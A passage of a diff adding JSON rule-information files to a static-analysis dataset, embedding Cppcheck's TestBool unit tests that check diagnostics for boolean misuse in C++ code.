return false;\\n\"\n \"}\\n\"\n \"bool compare2(int temp){\\n\"\n \" if(temp == 5){\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" else\\n\"\n \" return false;\\n\"\n \"}\\n\";\n check(code);\n ASSERT_EQUALS(\"[test.cpp:5:10]: (style) Comparison of a variable having boolean value using relational (<, >, <= or >=) operator. [comparisonOfBoolWithBoolError]\\n\", errout_str());\n }\n\n void bitwiseOnBoolean() { // 3062\n check(\"void f(_Bool a, _Bool b) {\\n\"\n \" if(a & b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Boolean expression 'a' is used in bitwise operation. Did you mean '&&'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"void f(_Bool a, _Bool b) {\\n\"\n \" if(a | b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Boolean expression 'a' is used in bitwise operation. Did you mean '||'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"void f(bool a, bool b) {\\n\"\n \" if(a & !b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Boolean expression 'a' is used in bitwise operation. Did you mean '&&'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"void f(bool a, bool b) {\\n\"\n \" if(a | !b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Boolean expression 'a' is used in bitwise operation. Did you mean '||'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"bool a, b;\\n\"\n \"void f() {\\n\"\n \" if(a & b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Boolean expression 'a' is used in bitwise operation. Did you mean '&&'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"bool a, b;\\n\"\n \"void f() {\\n\"\n \" if(a & !b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Boolean expression 'a' is used in bitwise operation. Did you mean '&&'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"bool a, b;\\n\"\n \"void f() {\\n\"\n \" if(a | b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Boolean expression 'a' is used in bitwise operation. Did you mean '||'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"bool a, b;\\n\"\n \"void f() {\\n\"\n \" if(a | !b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Boolean expression 'a' is used in bitwise operation. Did you mean '||'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"void f(bool a, int b) {\\n\"\n \" if(a & b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Boolean expression 'a' is used in bitwise operation. Did you mean '&&'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"void f(int a, bool b) {\\n\"\n \" if(a & b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Boolean expression 'b' is used in bitwise operation. Did you mean '&&'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"void f(int a, int b) {\\n\"\n \" if((a > 0) & (b < 0)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style, inconclusive) Boolean expression 'a>0' is used in bitwise operation. Did you mean '&&'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"void f(bool a, int b) {\\n\"\n \" if(a | b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Boolean expression 'a' is used in bitwise operation. Did you mean '||'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"void f(int a, bool b) {\\n\"\n \" if(a | b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Boolean expression 'b' is used in bitwise operation. Did you mean '||'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"int f(bool a, int b) {\\n\"\n \" return a | b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(bool a, int b) {\\n\"\n \" return a | b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style, inconclusive) Boolean expression 'a' is used in bitwise operation. Did you mean '||'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"void f(int a, int b) {\\n\"\n \" if(a & b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" foo(bar, &b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\" // #9405\n \" class C { void foo(bool &b) {} };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f();\\n\"\n \"bool g() {\\n\"\n \" return f() | f();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"uint8 outcode(float p) {\\n\"\n \" float d = 0.;\\n\"\n \" return ((p - xm >= d) << 1) | (x - p > d);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g();\\n\" // #10655\n \"void f(bool b) {\\n\"\n \" if (g() | b) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style, inconclusive) Boolean expression 'b' is used in bitwise operation. Did you mean '||'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"int g();\\n\"\n \"void f(bool b) {\\n\"\n \" if (b | g()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g();\\n\"\n \"bool f(bool b, bool c) {\\n\"\n \" return b | g() | c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:20]: (style, inconclusive) Boolean expression 'c' is used in bitwise operation. Did you mean '||'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\" // #4233\n \" bool b = true, c = false;\\n\"\n \" b &= i;\\n\"\n \" c |= i;\\n\"\n \" if (b || c) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (style, inconclusive) Boolean expression 'b' is used in bitwise operation. [bitwiseOnBoolean]\\n\"\n \"[test.cpp:4:7]: (style, inconclusive) Boolean expression 'c' is used in bitwise operation. [bitwiseOnBoolean]\\n\",\n errout_str());\n\n check(\"void f(int i, int j, bool b) {\\n\"\n \" i &= b;\\n\"\n \" j |= b;\\n\"\n \" if (b || c) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(bool b, int i) {\\n\"\n \" b &= (i == 5);\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { bool b{}; };\\n\" // #12455\n \"void f(const std::unordered_map m) {\\n\"\n \" for (const auto& e : m) {\\n\"\n \" S s;\\n\"\n \" s.b |= e.second.b;\\n\"\n \" (void)s.b;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void incrementBoolean() {\n check(\"bool bValue = true;\\n\"\n \"void f() { bValue++; }\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (style) Incrementing a variable of type 'bool' with postfix operator++ is deprecated by the C++ Standard. You should assign it the value 'true' instead. [incrementboolean]\\n\", errout_str());\n\n check(\"void f(bool test){\\n\"\n \" test++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Incrementing a variable of type 'bool' with postfix operator++ is deprecated by the C++ Standard. You should assign it the value 'true' instead. [incrementboolean]\\n\", errout_str());\n\n check(\"void f(bool* test){\\n\"\n \" (*test)++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:6]: (style) Incrementing a variable of type 'bool' with postfix operator++ is deprecated by the C++ Standard. You should assign it the value 'true' instead. [incrementboolean]\\n\", errout_str());\n\n check(\"void f(bool* test){\\n\"\n \" test[0]++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Incrementing a variable of type 'bool' with postfix operator++ is deprecated by the C++ Standard. You should assign it the value 'true' instead. [incrementboolean]\\n\", errout_str());\n\n check(\"void f(int test){\\n\"\n \" test++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void comparisonOfBoolWithInt1() {\n check(\"void f(bool x) {\\n\"\n \" if (x < 10) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n check(\"void f(bool x) {\\n\"\n \" if (10 >= x) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n check(\"void f(bool x) {\\n\"\n \" if (x != 0) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool x) {\\n\" // #3356\n \" if (x == 1) {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool x) {\\n\"\n \" if (x != 10) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n check(\"void f(bool x) {\\n\"\n \" if (x == 10) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n check(\"void f(bool x) {\\n\"\n \" if (x == 0) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"DensePropertyMap visited;\"); // #4075\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void comparisonOfBoolWithInt2() {\n check(\"void f(bool x, int y) {\\n\"\n \" if (x == y) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x, bool y) {\\n\"\n \" if (x == y) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool x, bool y) {\\n\"\n \" if (x == y) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool x, fooClass y) {\\n\"\n \" if (x == y) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void comparisonOfBoolWithInt3() {\n check(\"void f(int y) {\\n\"\n \" if (y > false) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (warning) Comparison of a boolean value using relational operator (<, >, <= or >=). [comparisonOfBoolWithInvalidComparator]\\n\", errout_str());\n\n check(\"void f(int y) {\\n\"\n \" if (true == y) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool y) {\\n\"\n \" if (y == true) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool y) {\\n\"\n \" if (false < 5) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\", errout_str());\n }\n\n void comparisonOfBoolWithInt4() {\n check(\"void f(int x) {\\n\"\n \" if (!x == 1) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void comparisonOfBoolWithInt5() {\n check(\"void SetVisible(int index, bool visible) {\\n\"\n \" bool (SciTEBase::*ischarforsel)(char ch);\\n\"\n \" if (visible != GetVisible(index)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void comparisonOfBoolWithInt6() { // #4224 - integer is casted to bool\n check(\"void SetVisible(bool b, int i) {\\n\"\n \" if (b == (bool)i) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void comparisonOfBoolWithInt7() { // #4846 - (!x==true)\n check(\"void f(int x) {\\n\"\n \" if (!x == true) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void comparisonOfBoolWithInt8() { // #9165\n check(\"bool Fun();\\n\"\n \"void Test(bool expectedResult) {\\n\"\n \" auto res = Fun();\\n\"\n \" if (expectedResult == res)\\n\"\n \" throw 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int Fun();\\n\"\n \"void Test(bool expectedResult) {\\n\"\n \" auto res = Fun();\\n\"\n \" if (expectedResult == res)\\n\"\n \" throw 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool Fun();\\n\"\n \"void Test(bool expectedResult) {\\n\"\n \" auto res = Fun();\\n\"\n \" if (5 + expectedResult == res)\\n\"\n \" throw 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int Fun();\\n\"\n \"void Test(bool expectedResult) {\\n\"\n \" auto res = Fun();\\n\"\n \" if (5 + expectedResult == res)\\n\"\n \" throw 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int Fun();\\n\"\n \"void Test(bool expectedResult) {\\n\"\n \" auto res = Fun();\\n\"\n \" if (expectedResult == res + 5)\\n\"\n \" throw 2;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n void comparisonOfBoolWithInt9() { // #9304\n check(\"bool f(int a, bool b)\\n\"\n \"{\\n\"\n \" if ((a == 0 ? false : true) != b) {\\n\"\n \" b = !b;\\n\"\n \" }\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void comparisonOfBoolWithInt10() { // #10935\n check(\"enum class E { H = 2 };\\n\"\n \"template \\n\"\n \"void f(bool v) {\\n\"\n \" if (v == H) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace N {\\n\"\n \" enum class E { H = 2 };\\n\"\n \"}\\n\"\n \"void f(bool v) {\\n\"\n \" if (v == N::H) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void pointerArithBool1() { // #5126\n check(\"void f(char *p) {\\n\"\n \" if (p+1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (error) Converting pointer arithmetic result to bool. The bool is always true unless there is undefined behaviour. [pointerArithBool]\\n\", errout_str());\n\n check(\"void f(char *p) {\\n\"\n \" do {} while (p+1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (error) Converting pointer arithmetic result to bool. The bool is always true unless there is undefined behaviour. [pointerArithBool]\\n\", errout_str());\n\n check(\"void f(char *p) {\\n\"\n \" while (p-1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (error) Converting pointer arithmetic result to bool. The bool is always true unless there is undefined behaviour. [pointerArithBool]\\n\", errout_str());\n\n check(\"void f(char *p) {\\n\"\n \" for (int i = 0; p+1; i++) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (error) Converting pointer arithmetic result to bool. The bool is always true unless there is undefined behaviour. [pointerArithBool]\\n\", errout_str());\n\n check(\"void f(char *p) {\\n\"\n \" if (p && p+1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (error) Converting pointer arithmetic result to bool. The bool is always true unless there is undefined behaviour. [pointerArithBool]\\n\", errout_str());\n\n check(\"void f(char *p) {\\n\"\n \" if (p+2 || p) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (error) Converting pointer arithmetic result to bool. The bool is always true unless there is undefined behaviour. [pointerArithBool]\\n\", errout_str());\n }\n\n void returnNonBool() {\n check(\"bool f(void) {\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" return 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" return 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Non-boolean value returned from function returning bool [returnNonBoolInBooleanFunction]\\n\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" return -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Non-boolean value returned from function returning bool [returnNonBoolInBooleanFunction]\\n\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" return 1 + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Non-boolean value returned from function returning bool [returnNonBoolInBooleanFunction]\\n\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" int x = 0;\\n\"\n \" return x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" int x = 10;\\n\"\n \" return x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Non-boolean value returned from function returning bool [returnNonBoolInBooleanFunction]\\n\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" return 2 < 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" int ret = 0;\\n\"\n \" if (a)\\n\"\n \" ret = 1;\\n\"\n \" return ret;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" int ret = 0;\\n\"\n \" if (a)\\n\"\n \" ret = 3;\\n\"\n \" return ret;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:5]: (style) Non-boolean value returned from function returning bool [returnNonBoolInBooleanFunction]\\n\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" if (a)\\n\"\n \" return 3;\\n\"\n \" return 4;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Non-boolean value returned from function returning bool [returnNonBoolInBooleanFunction]\\n\"\n \"[test.cpp:4:5]: (style) Non-boolean value returned from function returning bool [returnNonBoolInBooleanFunction]\\n\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void returnNonBoolLambda() {\n check(\"bool f(void) {\\n\"\n \" auto x = [](void) { return -1; };\\n\"\n \" return false;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" auto x = [](void) { return -1; };\\n\"\n \" return 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Non-boolean value returned from function returning bool [returnNonBoolInBooleanFunction]\\n\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" auto x = [](void) -> int { return -1; };\\n\"\n \" return false;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" auto x = [](void) -> int { return -1; };\\n\"\n \" return 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Non-boolean value returned from function returning bool [returnNonBoolInBooleanFunction]\\n\", errout_str());\n }\n\n void returnNonBoolLogicalOp() {\n check(\"bool f(int x) {\\n\"\n \" return x & 0x4;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int x, int y) {\\n\"\n \" return x | y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int x) {\\n\"\n \" return (x & 0x2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void returnNonBoolClass() {\n check(\"class X {\\n\"\n \" public:\\n\"\n \" bool f() { return -1;}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:20]: (style) Non-boolean value returned from function returning bool [returnNonBoolInBooleanFunction]\\n\", errout_str());\n\n check(\"bool f() {\\n\"\n \" struct X {\\n\"\n \" public:\\n\"\n \" int f() { return -1;}\\n\"\n \" };\\n\"\n \" return false;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f() {\\n\"\n \" class X {\\n\"\n \" public:\\n\"\n \" int f() { return -1;}\\n\"\n \" };\\n\"\n \" return false;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f() {\\n\"\n \" class X {\\n\"\n \" public:\\n\"\n \" bool f() { return -1;}\\n\"\n \" };\\n\"\n \" return -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (style) Non-boolean value returned from function returning bool [returnNonBoolInBooleanFunction]\\n\"\n \"[test.cpp:4:24]: (style) Non-boolean value returned from function returning bool [returnNonBoolInBooleanFunction]\\n\", errout_str());\n }\n};\n\nREGISTER_TEST(TestBool)\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckBool/checkComparisonOfBoolWithBool.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckBool/checkComparisonOfBoolWithBool.json new file mode 100644 index 0000000..3306d60 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckBool/checkComparisonOfBoolWithBool.json @@ -0,0 +1,22 @@ +{ + "name": "checkComparisonOfBoolWithBool", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 33, + "branches": 11, + "apis": 31, + "test": [ + { + "description": null, + "expected-problems": 1, + "expected-linenumbers": [ + 786 + ], + "code": "\n/*\n * Cppcheck - A tool for static C/C++ code analysis\n * Copyright (C) 2007-2025 Cppcheck team.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n#include \"checkbool.h\"\n#include \"errortypes.h\"\n#include \"fixture.h\"\n#include \"helpers.h\"\n#include \"settings.h\"\n\n#include \n\nclass TestBool : public TestFixture {\npublic:\n TestBool() : TestFixture(\"TestBool\") {}\n\nprivate:\n const Settings settings = settingsBuilder().severity(Severity::style).severity(Severity::warning).certainty(Certainty::inconclusive).build();\n\n void run() override {\n mNewTemplate = true;\n TEST_CASE(bitwiseOnBoolean); // if (bool & bool)\n TEST_CASE(incrementBoolean);\n TEST_CASE(assignBoolToPointer);\n TEST_CASE(assignBoolToFloat);\n\n TEST_CASE(comparisonOfBoolExpressionWithInt1);\n TEST_CASE(comparisonOfBoolExpressionWithInt2);\n TEST_CASE(comparisonOfBoolExpressionWithInt3);\n TEST_CASE(comparisonOfBoolExpressionWithInt4);\n\n TEST_CASE(comparisonOfBoolWithInt1);\n TEST_CASE(comparisonOfBoolWithInt2);\n TEST_CASE(comparisonOfBoolWithInt3);\n TEST_CASE(comparisonOfBoolWithInt4);\n TEST_CASE(comparisonOfBoolWithInt5);\n TEST_CASE(comparisonOfBoolWithInt6); // #4224 - integer is casted to bool\n TEST_CASE(comparisonOfBoolWithInt7); // #4846 - (!x == true)\n TEST_CASE(comparisonOfBoolWithInt8); // #9165\n TEST_CASE(comparisonOfBoolWithInt9); // #9304\n TEST_CASE(comparisonOfBoolWithInt10); // #10935\n\n TEST_CASE(checkComparisonOfFuncReturningBool1);\n TEST_CASE(checkComparisonOfFuncReturningBool2);\n TEST_CASE(checkComparisonOfFuncReturningBool3);\n TEST_CASE(checkComparisonOfFuncReturningBool4);\n TEST_CASE(checkComparisonOfFuncReturningBool5);\n TEST_CASE(checkComparisonOfFuncReturningBool6);\n TEST_CASE(checkComparisonOfFuncReturningBool7); // #7197\n TEST_CASE(checkComparisonOfFuncReturningBool8); // #4103\n // Integration tests..\n TEST_CASE(checkComparisonOfFuncReturningBoolIntegrationTest1); // #7798 overloaded functions\n\n TEST_CASE(checkComparisonOfBoolWithBool);\n\n // Converting pointer addition result to bool\n TEST_CASE(pointerArithBool1);\n\n TEST_CASE(returnNonBool);\n TEST_CASE(returnNonBoolLambda);\n TEST_CASE(returnNonBoolLogicalOp);\n TEST_CASE(returnNonBoolClass);\n }\n\n struct CheckOptions\n {\n CheckOptions() = default;\n bool cpp = true;\n };\n\n#define check(...) check_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void check_(const char* file, int line, const char (&code)[size], const CheckOptions& options = make_default_obj()) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this, options.cpp);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check...\n runChecks(tokenizer, this);\n }\n\n\n void assignBoolToPointer() {\n check(\"void foo(bool *p) {\\n\"\n \" p = false;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:7]: (error) Boolean value assigned to pointer. [assignBoolToPointer]\\n\", errout_str());\n\n check(\"void foo(bool *p) {\\n\"\n \" p = (x[rSize];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket #6588 (c mode)\n check(\"struct MpegEncContext { int *q_intra_matrix, *q_chroma_intra_matrix; };\\n\"\n \"void dnxhd_10bit_dct_quantize(MpegEncContext *ctx, int n, int qscale) {\\n\"\n \" const int *qmat = n < 4;\\n\" /* KO */\n \" const int *rmat = n < 4 ? \" /* OK */\n \" ctx->q_intra_matrix :\"\n \" ctx->q_chroma_intra_matrix;\\n\"\n \"}\", dinit(CheckOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:3:19]: (error) Boolean value assigned to pointer. [assignBoolToPointer]\\n\", errout_str());\n\n // ticket #6588 (c++ mode)\n check(\"struct MpegEncContext { int *q_intra_matrix, *q_chroma_intra_matrix; };\\n\"\n \"void dnxhd_10bit_dct_quantize(MpegEncContext *ctx, int n, int qscale) {\\n\"\n \" const int *qmat = n < 4;\\n\" /* KO */\n \" const int *rmat = n < 4 ? \" /* OK */\n \" ctx->q_intra_matrix :\"\n \" ctx->q_chroma_intra_matrix;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (error) Boolean value assigned to pointer. [assignBoolToPointer]\\n\", errout_str());\n\n // ticket #6665\n check(\"void pivot_big(char *first, int compare(const void *, const void *)) {\\n\"\n \" char *a = first, *b = first + 1, *c = first + 2;\\n\"\n \" char* m1 = compare(a, b) < 0\\n\"\n \" ? (compare(b, c) < 0 ? b : (compare(a, c) < 0 ? c : a))\\n\"\n \" : (compare(a, c) < 0 ? a : (compare(b, c) < 0 ? c : b));\\n\"\n \"}\", dinit(CheckOptions, $.cpp = false));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7381\n check(\"void foo(bool *p, bool b) {\\n\"\n \" p = b;\\n\"\n \" p = &b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:7]: (error) Boolean value assigned to pointer. [assignBoolToPointer]\\n\", errout_str());\n }\n\n void assignBoolToFloat() {\n check(\"void foo1() {\\n\"\n \" double d = false;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Boolean value assigned to floating point variable. [assignBoolToFloat]\\n\", errout_str());\n\n check(\"void foo2() {\\n\"\n \" float d = true;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Boolean value assigned to floating point variable. [assignBoolToFloat]\\n\", errout_str());\n\n check(\"void foo3() {\\n\"\n \" long double d = (2>1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (style) Boolean value assigned to floating point variable. [assignBoolToFloat]\\n\", errout_str());\n\n // stability - don't crash:\n check(\"void foo4() {\\n\"\n \" unknown = false;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" float p;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" S s = {0};\\n\"\n \" s.p = true;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:9]: (style) Boolean value assigned to floating point variable. [assignBoolToFloat]\\n\", errout_str());\n\n check(\"struct S {\\n\"\n \" float* p[1];\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" S s = {0};\\n\"\n \" *s.p[0] = true;\\n\"\n \"}\");\n 